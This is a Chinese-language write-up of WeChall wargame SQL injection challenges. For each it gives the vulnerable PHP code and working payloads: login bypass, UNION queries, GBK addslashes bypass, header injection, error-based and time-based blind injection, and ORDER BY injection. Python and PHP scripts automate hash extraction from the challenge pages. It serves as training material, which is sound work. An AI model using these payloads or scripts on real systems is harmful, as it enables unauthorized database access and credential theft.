特别鸣谢 Random Debug Slipper 对我的无私帮助
PS:虽然是一份题解,但是其中某些题目的解法还有些不尽人意。如有更好的思路欢迎留言评论
QQ:915910623
Training: MySQL I
最简单的注入情况,参数没有经过任何过滤就带入查询
漏洞代码:
function auth1_onLogin(WC_Challenge $chall, $username, $password) { $db = auth1_db(); $password = md5($password); $query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; if (false === ($result = $db->queryFirst($query))) { echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user return false; } # Welcome back! echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false); # Challenge solved? if (strtolower($result['username']) === 'admin') { $chall->onChallengeSolved(GWF_Session::getUserID()); } return true; }
利用语句:
username=admin' --
MySQL Authentication Bypass II
比较基础的题目,和上一题不同,username password分开来验证。通常的利用方法是使用union构造已知MD5值的查询。
漏洞代码:
function auth2_onLogin(WC_Challenge $chall, $username, $password) { $db = auth2_db(); $password = md5($password); $query = "SELECT * FROM users WHERE username='$username'"; if (false === ($result = $db->queryFirst($query))) { echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false); return false; } ############################# ### This is the new check ### if ($result['password'] !== $password) { echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false); return false; } # End of the new code ### ############################# echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false); if (strtolower($result['username']) === 'admin') { $chall->onChallengeSolved(GWF_Session::getUserID()); } return true; }
利用语句:
username=wyl' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' -- &password=1&login=Login
也可以直接使用mysql自带的 MD5 函数来生成 hash
username=wyl' union select 1,'admin',md5('1') -- &password=1&login=Login
No Escape
一个投票的功能,使用mysql_real_escape_string()
对参数进行了过滤,不过并不需要绕过它,因为它并不会过滤重音符(backtick)
漏洞代码:
function noesc_voteup($who) { if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) { echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false); return; } $db = noesc_db(); $who = mysql_real_escape_string($who); $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1"; if (false !== $db->queryWrite($query)) { echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false); } noesc_stop100(); }
利用方式:
vote_for=bill` = `bill` %2b 111 where bill=0 --%20
当然也可以写的简短一点
barack`=111#
The Guestbook
一个留言本的程序,其中大部分参数都经过了过滤,但是IP地址直接带入insert语句,可以构造一个x-forwraded-for来实现注入
需要在insert语句中使用select子查询
漏洞代码:
function gbook_getIP() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_VIA'])) { return $_SERVER['HTTP_VIA']; } else { return $_SERVER['REMOTE_ADDR']; } }
利用方式:
头中不能使用urlencode,末尾空格会被会忽略
X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) #
如果非要使用--也可以这样构造
X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) -- a
MD5.SALT
这道题是一道简单的注入,不过需要破解MD5,在网站上付费一下就可以了。
漏洞代码:
题目没有给出源代码
利用方式:
' union select password,2 from users --
Addslashes
这题的参数使用了Addslashes()函数进行了过滤,使用双字节绕过即可。
漏洞代码:
function asvsmysql_login($username, $password) { $username = addslashes($username); $password = md5($password); if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) { return htmlDisplayError('Can`t connect to database.'); } $db->setLogging(false); $db->setEMailOnError(false); $query = "SELECT username FROM users WHERE username='$username' AND password='$password'"; if (false === ($result = $db->queryFirst($query))) { return htmlDisplayError('Wrong username/password.'); } if ($result['username'] !== 'Admin') { return htmlDisplayError('You are logged in, but not as Admin.'); } return htmlDisplayMessage('You are logged in. congrats!'); }
利用方式:
使用limit猜测一下,admin的位置
username=Admin%bf' union select username from users limit 1,1 --
或者直接构造一个admin出来
username=%b3%27+union+select+Char(65,100,109,105,110)/*
当然这些方法,主要是为了绕过单引号,还有一些有趣的利用
username=%bf%27 OR CONV(username,36,10) = 17431871#
Blinded by the light
盲注,参数没用经过过滤,猜测一个32位的hash,但是要求在128次之内猜解出来,使用二分即可。
漏洞代码:
function blightVuln($password) { # Do not mess with other sessions! if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) ) { return false; } $db = blightDB(); $sessid = GWF_Session::getSession()->getID(); $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'"; return $db->queryFirst($query) !== false; }
利用脚本:
常规的二分盲注
import urllib import urllib2 def doinject(payload): url = 'http://www.wechall.net/challenge/blind_light/index.php' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','WC=7205526-10787-ZSOZPXjj8gf4BE7K') response = urllib2.urlopen(req) the_page = response.read() if (the_page.find("Welcome back")>0): return True else: return False wordlist = "0123456789ABCDEF" res = "" for i in range(1,33): s=0 t=15 while (s<t): if (t-s==1): if doinject('/' or substring(password,'+str(i)+',1)=/''+wordlist[t]+'/' -- '): m=t break else: m=s break m=(s+t)/2 if doinject('/' or substring(password,'+str(i)+',1)>/''+wordlist[m]+'/' -- '): s=m+1 print wordlist[s]+":"+wordlist[t] else: t=m print wordlist[s]+":"+wordlist[t] res = res+wordlist[m] print res
使用正则表达式的盲注
$sUrl = 'http://www.wechall.net/challenge/blind_light/index.php'; $sPost = 'inject=Inject&injection='; $sCharset = 'ABCDEF0123456789'; /* for every character */ for ($i=0, $hash=''; $i<32; ++$i) { $ch = $sCharset; do { $ch1 = substr($ch, 0, intval(strlen($ch)/2)); $ch2 = substr($ch, intval(strlen($ch)/2)); $p = $sPost.'absolutelyimpossible/' OR 1=(SELECT 1 FROM blight WHERE password REGEXP /'^'.$hash.'['.$ch1.']/' AND sessid=xxx) AND /'1/'=/'1'; $res = libHTTP::POST($sUrl, $p); if (strpos($res['content'], 'Your password is wrong') === false) $ch = $ch1; else $ch = $ch2; } while (strlen($ch) > 1); $hash .= $ch; echo "/rhash: ".$hash; }
Blinded by the lighter
这题和上题相同,只不过把次数减少成为33次
漏洞代码:
function blightVuln($password) { # Do not mess with other sessions! if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) ) { return false; } $db = blightDB(); $sessid = GWF_Session::getSessSID(); $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'"; return $db->queryFirst($query) !== false; }
利用方式:
使用基于时间的注入来判断字符ascii码
' or benchmark(ord(substr(password,1,1))*1000000,MD5(1))
这样做可以提高一点精确度
' or sleep(ord(substr(password,1,1)))
ps.这题使用这种方法写的脚本,在精度上会出现问题,如果有什么好的思路请留言告知<sub>~</sub>~
Light in the Darkness
上面两题的加强版,只允许2次查询。不过是返回错误信息的盲注。可以使用双查询报错。
漏洞代码:
function blightVuln($password) { # Do not mess with other sessions! if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) ) { return false; } $db = blightDB(); $sessid = GWF_Session::getSessSID(); $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'"; return $db->queryFirst($query) !== false; }
利用方式:
1' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2))) --
我其实对这种报错方式的原理很好奇,也很不解,有感兴趣的同学欢迎指教。
下面是我对这题的几点疑惑:
特别是使用用户变量时,反应也很神奇,比如这题的另一种解法,不明白其中的原理。
'||(select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2))||'
我当时设想出这样一种解法,但是发现包含有@xxxx的语句都不会触发这个bug,除非@xxxx是纯数字。很迷茫。
' or (@lanlan:=password) or (select 1 from(select count(*),concat(@lanlan,floor(rand(0)*2))x from information_schema.tables group by x)a) --
Are you blind?
这题也是一道盲注,可是不管对错返回的结果一样。可以使用order by报错的方法来盲注。
漏洞代码:
function blightVuln(WC_Challenge $chall, $password, $attempt) { # Do not mess with other sessions! if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) ) { return $chall->lang('mawekl_blinds_you', array($attempt)); } # And please, no timing attempts! if ( (stripos($password, 'benchmark') !== false) || (stripos($password, 'sleep') !== false) ) { return $chall->lang('mawekl_blinds_you', array($attempt)); } $db = blightDB(); $sessid = GWF_Session::getSessSID(); $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'"; return $db->queryFirst($query) ? $chall->lang('mawekl_blinds_you', array($attempt)) : $chall->lang('mawekl_blinds_you', array($attempt)) ; }
利用语句:
injection=' or if(1,1,(select 1 union select 2)) = 1 -- &inject=Inject
Order By Query
这是一个在order by后面的注入,可以直接使用双查询报错来解决。也可以使用盲注的手法猜测。
漏洞代码:
function addslash2_sort($orderby, $dir) { if (false === ($db = addslash2_get_db())) { return false; } static $whitelist = array(1, 3, 4, 5); static $names = array(1 => 'Username', 3 => 'Apples', 4 => 'Bananas', 5 => 'Cherries'); $dir = GDO::getWhitelistedDirS($dir, 'DESC'); if (!in_array($orderby, $whitelist)) { return htmlDisplayError('Error 1010101: Not in whitelist.'); } $orderby = $db->escape($orderby); $query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10"; if (false === ($rows = $db->queryAll($query))) { return false; } $headers = array( array('#'), array('Username', '1', 'ASC'), array('Apples', '3', 'DESC'), array('Bananas', '4', 'DESC'), array('Cherries', '5', 'DESC'), ); echo '<div class="box box_c">'.PHP_EOL; echo '<table>'.PHP_EOL; echo GWF_Table::displayHeaders1($headers, GWF_WEB_ROOT.'challenge/order_by_query/index.php?by=%BY%&dir=%DIR%'); $i = 1; foreach ($rows as $row) { echo GWF_Table::rowStart(); echo sprintf('<td align="right">%d</td>', $i++); echo sprintf('<td>%s</td>', $row['username']); echo sprintf('<td align="right">%s</td>', $row['apples']); echo sprintf('<td align="right">%s</td>', $row['bananas']); echo sprintf('<td align="right">%s</td>', $row['cherries']); echo GWF_Table::rowEnd(); } echo '</table>'.PHP_EOL; echo '</div>'.PHP_EOL; }
利用方式:
by=5 and (select 1 from(select count(*),concat((select password from users where username=0x41646d696e),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) --
盲注脚本
<?php $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_COOKIE, 'WC4_SID=xxxxxxxxxxxxxxxxxxxxxxx'); $charset = 'ABCDEF0123456789'; $hash = ''; for($i=0;$i<32;$i++) { $strona = ''; $index=0; for($j=0;strpos($strona,'10</td><td>Admin') === false;$j++) { curl_setopt($curl, CURLOPT_URL, 'http://www.wechall.net/challenge/order_by_query/index.php?by=3,%20CASE%20username%20WHEN%200x41646d696e%20THEN%202-%28password%20REGEXP%200x5e'.$hash.dechex(ord($charset[$index++])).'%29%20ELSE%202%20END--'); $strona = curl_exec ($curl); } $hash .= ''.dechex(ord($charset[--$index])); } curl_close($curl); echo $hash; ?>
Table Names
猜测表名和数据库名的题目,直接查询information_schema即可
漏洞代码:
没有给出源代码
利用方式:
得到表名
username=wyl' union select 1,2,table_name from information_schema.columns where column_name='username' limit 1,1 --
得到数据库名
username=wyl' union select 1,2,database() --
Table Names II
这道题同样是猜测,数据库名和表名,不过很多关键词都被过滤了。查到mysql的版本,根据文档找information_schema里面的表, 一个一个试一下就行了。
漏洞代码:
<?php $secret = require('secret.php'); chdir('../../../'); define('GWF_PAGE_TITLE', 'Table Names II'); require_once('challenge/html_head.php'); require(GWF_CORE_PATH.'module/WeChall/solutionbox.php'); if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE))) { $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']); } $chall->showHeader(); $chall->onCheckSolution(); if (false !== Common::getGet('login')) { $username = Common::getGetString('username', ''); $password = Common::getGetString('password', ''); if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema/(/)/i', $username.$password)) { echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match')); } else { if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database']))) { die('Database error.'); } $db->setVerbose(false); $db->setLogging(false); $db->setEMailOnError(false); $query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'"; if (false === ($result = ($db->queryFirst($query, false)))) { echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail')); } else { echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message'])))); } } } ?> <div class="box box_c"> <form action="challenge.php" method="get"> <div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div> <div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div> <div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div> </form> </div> <?php echo $chall->copyrightFooter(); require_once('challenge/html_foot.php');
利用方式:
' union select 1,2,info from information_schema.processlist-- -
Credit Card Challenge Pwned!
这题描述特别长,看了半天就是发送一个页面给管理员,csrf+injection。
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